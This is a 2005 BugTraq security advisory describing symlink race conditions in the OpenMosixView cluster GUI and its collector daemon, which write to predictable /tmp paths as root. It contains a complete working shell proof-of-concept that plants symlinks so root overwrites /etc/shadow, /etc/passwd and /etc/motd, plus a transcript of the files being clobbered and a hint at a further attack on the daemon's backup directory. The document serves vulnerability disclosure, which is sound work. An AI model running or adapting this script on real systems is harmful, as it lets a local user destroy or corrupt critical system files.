BugTraq
RX250305 - OpenMosixView : Multiple Race conditions - advisory and exploit Mar 25 2005 01:57AM
rexolab (research rexotec com)
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|############################ REXOTEC(dot)COM ##############################
|
|=------=[ ADV RX250305 - OpenMosixView : Multiple Race conditions ]------=|
|
|
|=---[ - INFORMATION
`---------------------------------------------------------------------|

VulnDiscovery: 2004/12/21
Release Date : 2005/03/25
Author : Gangstuck and Psirac <research (at) rexotec (dot) com [email concealed]>

Application : OpenMosixView
Affected : All version (lastest is openmosixview-1.5)
Platform : Linux
Risk : Critical
Severity : Allow local user to compromise filesystem.

Vendor : http://www.openmosixview.com/
Reference : http://www.rexotec.com/advisory/RX250305.html

Status : Vendor has been notified (2005/02/17) and will try to
fix the topics listed above for the next release of
OMView. This may take some time because of general
architecture changes for OpenMosix on 2.6. kernels.

|=---[ - SUMMARY OVERVIEW
`---------------------------------------------------------------------|

OpenMosix is a Linux kernel extension for single-system image clustering
which turns a network of ordinary computers into a supercomputer.

OpenMosixView is an intuitive cluster-management GUI for openMosix cluster.

It contains eight usefull applications for monitoring and administrating
openMosix-cluster. In the package, OpenMosixCollector is the daemon
which should/could be started on one cluster-member. It logs openmosix
load of each node. These history log-files are analyzed by some
openMosix Analyzer located in the pack to gives a non-stop overview
of the load, memory and processes in a cluster.


|=-+-[ - VULNERABILITIES OVERVIEW
| `---------------------------------------------------------------------|
|
.--+-[ OpenMosixView ]
|
| When OpenMosixView is started, it get nodes's names (or by default
| nodes's IP) with "mosctl whois id_node_number", and redirect output
| in /tmp/nodes.tmp without checking if file already exist, ...
|
+--.
|
'--[ OpenMosixView->OpenmosixCollector ]

At each start of the OpenMosixCollector daemon, load of each node is
formatted to the directory /tmp/openmosixcollector where data are
organised in several files.

The startup schema is :

[ file ] cluster
[ file ] IDnode-n
[ file ] IDnode-n
[ file ] sync.count
[ dir ] phist

Permissions are correctly handled ..

drwxr-xr-x 3 root root 1024 2004-12-23 18:54 openmosixcollector
|
`----- -rw-r--r-- 1 root root 42674 2004-12-21 22:20 1
-rw-r--r-- 1 root root 42612 2004-12-21 22:20 11
-rw-r--r-- 1 root root 41444 2004-12-21 22:20 2
-rw-r--r-- 1 root root 42063 2004-12-21 22:20 22
-rw-r--r-- 1 root root 41486 2004-12-21 22:20 cluster
drwxr-xr-x 2 root root 24576 2004-12-21 22:20 phist
-rw-r--r-- 1 root root 4 2004-12-21 22:20 sync.count


but, creation of predictable files allow any local attacker to remove
arbitrary files on the vulnerable filesystem via the famous symlink
vulnerability. In this case, we just have to rebuild a fake directory
tree.

If openmosixcollector-daemon is already running there is also a way to
corrupt the fs due to the creation of a predictable backup temporary
directory each 12 hours (see exploit below for more details).

|=---[ - EXPLOITATION
`---------------------------------------------------------------------|

$ ./RX_OMcollector_proof.sh
...
$ ls -l /tmp/nodes.tmp
lrwxrwxrwx 1 gang gang 12 2005-02-21 23:18 /tmp/nodes.tmp -> /etc/shadow

# openmosixview &
openMosix is started!
openMosix cluster contains 3 members.
cluster config changed! redraw cluster now.

$ cat /etc/shadow
192.168.0.11

# /etc/init.d/openmosixcollector start
Initializing openMosix...
openMosix configuration was successful :)

# ls -l /tmp/openmosixcollector/
rwxrwxrwx 1 user user 12 2004-12-21 23:19 cluster -> /etc/passwd
drwxr-xr-x 2 root root 1024 2004-12-21 23:25 phist
lrwxrwxrwx 1 user user 12 2004-12-21 23:19 sync.count -> /etc/motd
# cat /etc/passwd
21.12.2005-23.25.59 5 184 1757 13 3
21.12.2005-23.26.10 5 184 1757 13 3
# cat /etc/motd
2

|=---[ - EXPLOIT - Proof of concept
`----------------------------------------------------------------------|

---8<--------8<-------cut-here-------8<--------8<---

#!/bin/sh
#################################################################
# RX_oMcollector_proof.sh
# OpenMosixCollector exploit [25/03/2005]
# by Gangstuck and Psirac <research (at) rexotec (dot) com [email concealed]>
#################################################################

# -- Choose target
TARGET1="/etc/shadow" # OM view target
TARGET2="/etc/passwd" # OM collector target 1
TARGET3="/etc/motd" # OM collector target 2

# -- OpenMosixCollector temporary directory (without final '/')
OMCTDIR="/tmp/openmosixcollector"

echo "--------------------------------------------------------"
echo "- -= OpenMosixView and OpenMosixCollector =- -"
echo "- Symlink Vulnerability PoC -"
echo "- [versions 1.5 and minor] -"
echo "--------------------------------------------------------"
echo "- Gangstuck and Psirac -"
echo "- <research (at) rexotec (dot) com [email concealed]> -"
echo "--------------------------------------------------------"

# -- OM View
ln -sf $TARGET1 /tmp/nodes.tmp
if [ $? ]; then
echo "[+] OpenMosixView attack successfully launched."
echo -e " - target is ${TARGET1}\n"
else
echo "[!] Failed to exploit OpenMosixView..."
fi

# -- OM Collector
if [ -d "$OMCTDIR" ]; then
echo -e "[!] Openmosix is already running.\n
Anyway, there is a way to exploit this case but this is not
implemented in this public exploit. OpenMosixcollector-daemon
automatically restarts every 12 hours and saves the current
history to a directory located in /tmp (glibc: P_tmpdir).

This is done whith the utilisation of a predictable temporary
dir name \"${OMCTDIR}_[date]\" where [date] format
look like \"18.0.2005-0.0.48\". Have phun :P"
exit 0
fi

echo -e "[-] OpenMosixCollector seems not to be started..."
echo " - creating fake directory"
mkdir $OMCTDIR
if [ ! $? ]; then
echo "[!] OpenMosixCollector attack failed !"
exit 1
fi
echo " - creating symlink attack against "
echo -e "\t> ${TARGET2}" && ln -sf $TARGET2 ${OMCTDIR}/cluster;
echo -e "\t> ${TARGET3}" && ln -sf $TARGET3 ${OMCTDIR}/sync.count;

echo "[+] OpenMosixCollector attack successfully launched."

---8<--------8<-------cut-here-------8<---------8<---

|=---[ - ABOUT
`----------------------------------------------------------------------|

Rexotec is a company specialized in the corporate network which offers
to professionals several solutions based on free software. It offers
services in the field of security such as penetration testing and tends
to be active in software auditing.

--
cheers,
gangstuck and psirac <research (at) rexotec (dot) com [email concealed]>

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